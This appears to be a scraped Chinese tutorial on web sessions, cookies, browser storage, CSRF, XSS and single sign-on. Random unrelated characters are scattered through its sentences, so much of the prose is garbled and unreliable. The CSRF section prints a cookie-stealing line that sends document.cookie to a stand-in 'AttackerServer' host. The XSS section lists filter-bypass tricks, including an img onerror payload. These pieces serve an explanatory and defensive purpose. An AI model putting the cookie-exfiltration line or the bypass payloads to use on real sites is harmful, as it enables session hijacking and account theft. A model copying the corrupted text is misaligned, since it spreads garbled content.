github
地址:戳這里
session
概念
- 指一類用來在客戶端與服務(wù)器之間保持狀態(tài)的解決方案
- 這種解決方案的存儲結(jié)構(gòu)
特點(diǎn)
由于
Session
是以文本文件形式存儲在服務(wù)器端的魁衙,所以不怕客戶端修改 Session 內(nèi)容私植。(也可以用其他存儲方式比如redis
)Session
對象是有生命周期的Session
實(shí)例是輕量級的缅茉,所謂輕量級:是指他的創(chuàng)建和刪除不需要消耗太多資源Session
對象內(nèi)部有一個緩存
用法
Session
對象存儲特定用戶會話所需的屬性及配置信息针炉,在web
頁跳轉(zhuǎn)時,信息將不會丟失
通常用于以下操作
- 存儲整個會話過程中保持用戶狀態(tài)的信息蚀苛,比如登錄信息或者用戶瀏覽時產(chǎn)生的其它信息
- 存儲只需要在 頁重新加載 過程中在验,或者 一組功能頁 之間保持狀態(tài)的對象
- 在 Web服務(wù)器上保持用戶的 狀態(tài)信息 供在任何時間從任何設(shè)備上的頁面進(jìn)行訪問玷氏。
限制
- 用戶登錄越多堵未,
session
需要的內(nèi)存量越大 - 每個
Session
對象的持續(xù)時間是用戶訪問的時間加上不活動的時間。
為何需要session
HTTP協(xié)議本身是無狀態(tài)的
舉個喝咖啡的例子:
1盏触、該店的店員很厲害渗蟹,能記住每位顧客的消費(fèi)數(shù)量块饺,只要顧客一走進(jìn)咖啡店,店員就知道該怎么對待了雌芽。這種做法就是協(xié)議本身支持狀態(tài)授艰。
2、發(fā)給顧客一張卡片世落,上面記錄著消費(fèi)的數(shù)量淮腾,一般還有個有效期限。每次消費(fèi)時屉佳,如果顧客出示這張卡片谷朝,則此次消費(fèi)就會與以前或以后的消費(fèi)相聯(lián)系起來。這種做法就是在客戶端保持狀態(tài)武花。
3圆凰、發(fā)給顧客一張會員卡,除了卡號之外什么信息也不紀(jì)錄体箕,每次消費(fèi)時专钉,如果顧客出示該卡片,則店員在店里的紀(jì)錄本上找到這個卡號對應(yīng)的紀(jì)錄添加一些消費(fèi)信息累铅。這種做法就是在服務(wù)器端保持狀態(tài)跃须。
具體機(jī)制
- 當(dāng)程序需要為某個客戶端的請求創(chuàng)建一個
session
的時候,服務(wù)器首先檢查這個客戶端的請求里是否已包含了一個 session標(biāo)識 - 稱為session id
娃兽,如果已包含一個session id
則說明以前已經(jīng)為此客戶端創(chuàng)建過session回怜,服務(wù)器就按照session id
把這個session
檢索出來使用(如果檢索不到,可能會新建一個)换薄,如果客戶端請求不包含session id
玉雾,則為此客戶端創(chuàng)建一個session
并且生成一個與此session
相關(guān)聯(lián)的session id
,session id
的值應(yīng)該是一個 既不會重復(fù)轻要,又不容易被找到規(guī)律以仿造的字符串 复旬,這個session id
將被在本次響應(yīng)中返回給客戶端保存。 - 由于
cookie
可以被人為的禁止冲泥,必須有其他機(jī)制以便在cookie
被禁止時仍然能夠把session id
傳遞回服務(wù)器驹碍。經(jīng)常被使用的一種技術(shù)叫做URL
重寫
兩種形式:
// 作為url附加路徑
'http://..../xxx;jsessionid=abcdefjijeoijoifjioe'
// 作為查詢字符串
'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
- 較老的技術(shù),表單隱藏字段凡恍,此方法在防止csrf中有用
一種節(jié)省空間的做法
由于關(guān)閉瀏覽器不會導(dǎo)致session
被刪除志秃,迫使服務(wù)器為seesion
設(shè)置了一個失效時間,當(dāng)距離客戶端上一次使用session
的時間超過這個失效時間時嚼酝,服務(wù)器就可以認(rèn)為客戶端已經(jīng)停止了活動浮还,才會把session
刪除以節(jié)省存儲空間
reference
http://justsee.iteye.com/blog/1570652
https://baike.baidu.com/item/session/479100?fr=aladdin
https://blog.csdn.net/hjc1984117/article/details/53995816
cookie
存儲在用戶本地終端的數(shù)據(jù)
http
請求自動發(fā)送,跨域除外
用途
客戶端記錄用戶信息
特點(diǎn)
存儲在硬盤上的cookie
可以在不同的瀏覽器進(jìn)程間共享闽巩,比如兩個IE
窗口钧舌。而對于保存在內(nèi)存里的cookie
担汤,不同的瀏覽器有不同的處理方式。
屬性
-
name
:cookie
名稱 -
value
:cookie
值 -
domain
:可以訪問cookie
的域名洼冻,某一級域名可以訪問上一級級域名的cookie -
expires/Max-Age
:過期時間 -
Size
:cookie
的大小 -
http
:httponly
屬性崭歧,為true
,不能用document.cookie
獲得 -
secure
:為true
只能在https
獲得 -
path
:子路徑訪問父路徑cookie
創(chuàng)建cookie
document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";
讀取cookie
document.cookie
修改cookie
document.cookie =
采用覆蓋的形式
刪除cookie
將過期時間設(shè)置為過去時間即可
與localStorage
和sessionStorage
的區(qū)別
-
存儲大小
cookie
數(shù)據(jù)大小不能超過4k撞牢。sessionStorage
和localStorage
雖然也有存儲大小的限制率碾,但比cookie
大得多,可以達(dá)到5M或更大屋彪。
-
有效時間
localStorage
存儲持久數(shù)據(jù)播掷,瀏覽器關(guān)閉后數(shù)據(jù)不丟失除非主動刪除數(shù)據(jù);sessionStorage
數(shù)據(jù)在當(dāng)前瀏覽器窗口關(guān)閉后自動刪除撼班。cookie
設(shè)置的cookie
過期時間之前一直有效歧匈,即使窗口或瀏覽器關(guān)閉
-
sessionStorage
- 會話級別的存儲
- 臨時性的,頁面打開有砰嘁,頁面關(guān)閉沒有
- 數(shù)據(jù)不共享
- 通過a標(biāo)簽來跳出一個頁面件炉,則
sessionStorage
共享
-
localStorage
- 持久化的本地存儲
- 永久性的存儲
- 不能跨域
- 數(shù)據(jù)共享
-
cookie
-
cookie
在同源且符合path
規(guī)則的文檔之間共享 -
max-age
用秒來設(shè)置cookie
的生存期。 - 如果
max-age
為0矮湘,則表示刪除該cookie
斟冕。 - 如果
max-age
為負(fù)數(shù),則表示該cookie
僅在本瀏覽器窗口以及本窗口打開的子窗口內(nèi)有效缅阳,關(guān)閉窗口后該cookie即失效磕蛇。
-
如何得到cookie
有兩個http頭部是專門負(fù)責(zé)設(shè)置以及發(fā)送cookie
的,它們分別是 Set-Cookie
以及 Cookie
。當(dāng)服務(wù)器返回給客戶端一個http響應(yīng)信息時十办,其中如果包含Set-Cookie
這個頭部時秀撇,意思就是指示客戶端建立一個cookie
,并且在后續(xù)的http請求中自動發(fā)送這個cookie
到服務(wù)器端向族,直到這個cookie
過期呵燕。如果cookie
的生存時間是整個會話期間的話,那么瀏覽器會將cookie
保存在內(nèi)存中件相,瀏覽器關(guān)閉時就會自動清除這個cookie
再扭。另外一種情況就是保存在客戶端的硬盤中,瀏覽器關(guān)閉的話夜矗,該cookie
也不會被清除泛范,下次打開瀏覽器訪問對應(yīng)網(wǎng)站時,這個cookie
就會自動再次發(fā)送到服務(wù)器端紊撕。
cookie
服務(wù)器端寫入
//java的寫法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);
//php 中的寫法
setcookie(name,value,expire,path,domain,secure)
reference
https://my.oschina.net/ososchina/blog/339918
https://blog.csdn.net/dong123dddd/article/details/50388656
csrf(跨站請求偽造)
過程
- 用戶c打開瀏覽器罢荡,登錄網(wǎng)站a
- 登錄成功后,記錄登錄信息
cookie
- 在網(wǎng)站
a
未退出的情況下,打開網(wǎng)站b
- 網(wǎng)站
b
在收到用戶請求后返回攻擊性代碼柠傍,獲取網(wǎng)站a
的cookie
,并發(fā)出請求a網(wǎng)站(注意:這兒是兩步) - 網(wǎng)站
a
誤以為還是用戶c發(fā)出的請求
竊取cookie
向被攻擊者的服務(wù)器頁面上注入一段javascript
代碼(借助xss跨站腳本攻擊)
document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
防御
- 驗證
http referer
字段 - 在請求地址中添加token
系統(tǒng)開發(fā)者可以在HTTP
請求中以參數(shù)的形式加入一個隨機(jī)產(chǎn)生的token
辩稽,并在服務(wù)器端建立一個攔截器來驗證這個token
惧笛,如果請求中沒有token
或者token
內(nèi)容不正確,則認(rèn)為可能是CSRF
攻擊而拒絕該請求逞泄。
- 在
HTTP
頭中自定義屬性并驗證(不會被泄露)
reference
http://www.freebuf.com/articles/web/11840.html
xss(跨站腳本攻擊)
分類
- 反射型(非持久型)
那些瀏覽器每次都要在參數(shù)中提交惡意數(shù)據(jù)才能觸發(fā)的跨站腳本漏洞患整。
可以讓一個域名轉(zhuǎn)向到惡意URL
,把那個域名發(fā)給用戶
- 存儲型(持久型)
指通過提交惡意數(shù)據(jù)到存儲器(比如數(shù)據(jù)庫喷众、文本文件等)各谚,Web
應(yīng)用程序輸出的時候是從存儲器中讀出惡意數(shù)據(jù)輸出到頁面的一類跨站腳本漏洞。
常見攻擊方法
- 繞過
xss-filter
- 利用
img
- 空格到千,回車昌渤,
tab
來繞過過濾 - 利用事件如:
<img src=“#” onerror= “alert(1)”/>
- css跨站:
background-url
- 利用字符編碼
防御
-
xss-filter
,過濾標(biāo)簽
2.httpOnly
- 將變量輸出到頁面時憔四,要編碼
reference
http://www.cnblogs.com/wqhwe/p/5416976.html
單系統(tǒng)登錄
http
無狀態(tài)協(xié)議
瀏覽器每次請求膀息,服務(wù)器都單獨(dú)處理
要鑒別瀏覽器請求,又因為http是無狀態(tài)協(xié)議了赵,所以需要服務(wù)器和瀏覽器共同維護(hù)一個狀態(tài)
會話機(jī)制
瀏覽器第一次請求服務(wù)器潜支,創(chuàng)建一個會話id,并由瀏覽器存儲柿汛,以后每次請求都帶上冗酿,服務(wù)器取得后可判斷是否是同一個用戶
單系統(tǒng)利用cookie
登錄狀態(tài)
瀏覽器第一次請求服務(wù)器,需要驗證用戶名和密碼络断,通過與數(shù)據(jù)庫里的作比較裁替,驗證通過將會話標(biāo)記為“已授權(quán)”
以后每次請求都檢查登錄狀態(tài)
單點(diǎn)登錄(多系統(tǒng)登錄,single sign on
貌笨,sso
)
用戶登錄注銷一次胯究,就可以在多個系統(tǒng)中得到效果
由于多系統(tǒng)的域不一樣,所有cookie會受到限制躁绸,瀏覽器發(fā)送http
請求時會自動攜帶與該域匹配的cookie
裕循,而不是所有cookie
如果將domain
設(shè)置為頂級域名會有限制:
- 系統(tǒng)群域名得統(tǒng)一
- 各系統(tǒng)使用的技術(shù)要相同
-
cookie
不安全
登錄
相比于單系統(tǒng)登錄,sso
多了一個認(rèn)證中心净刮,只有認(rèn)證中心接受用戶名和密碼等安全信息剥哑,其他系統(tǒng)不提供登錄入口,只接受認(rèn)證中心的間接授權(quán)淹父。間接授權(quán)通過令牌實(shí)現(xiàn)株婴,sso
認(rèn)證中心驗證用戶的用戶名密碼沒問題,創(chuàng)建授權(quán)令牌,在接下來的跳轉(zhuǎn)過程中困介,授權(quán)令牌作為參數(shù)發(fā)送給各個子系統(tǒng)大审,子系統(tǒng)拿到令牌,即得到了授權(quán)座哩,可以借此創(chuàng)建局部會話徒扶,局部會話登錄方式與單系統(tǒng)的登錄方式相同。這個過程根穷,也就是單點(diǎn)登錄的原理姜骡,用下圖說明
用戶登錄成功之后,會與sso認(rèn)證中心及各個子系統(tǒng)建立會話屿良,用戶與sso認(rèn)證中心建立的會話稱為全局會話圈澈,用戶與各個子系統(tǒng)建立的會話稱為局部會話,局部會話建立之后尘惧,用戶訪問子系統(tǒng)受保護(hù)資源將不再通過sso認(rèn)證中心
注銷
具體跳轉(zhuǎn)
假設(shè)認(rèn)證中心和系統(tǒng)2的url分別是:sso.com康栈、system2.com
,訪問 system2.com
時因未登錄而跳轉(zhuǎn)到 sso.com
喷橙,跳轉(zhuǎn)地址:http://sso.com?service=http://system2.com
(不需要額外信息)谅将,此時,就變成了瀏覽器與 http://sso.com
站點(diǎn)之間的會話重慢,這個會話因為系統(tǒng)1登錄的原因已經(jīng)被標(biāo)記為已登錄饥臂,所以認(rèn)證中心取一塊令牌,根據(jù)service參數(shù)回跳似踱,并附上令牌隅熙,回跳地址:http://system2.com?token=token
如何驗證登錄信息
-
不同域之間
- 當(dāng)?shù)卿浤骋幌到y(tǒng)后,須跳轉(zhuǎn)到其它系統(tǒng)并設(shè)置cookie
- nodejs實(shí)現(xiàn)302跳轉(zhuǎn)
-
同一域名不同站點(diǎn)
- 共享
cookie
- 共享
-
同一域核芽,不同子域
- 存放
sessionId
的域都是上一級的
- 存放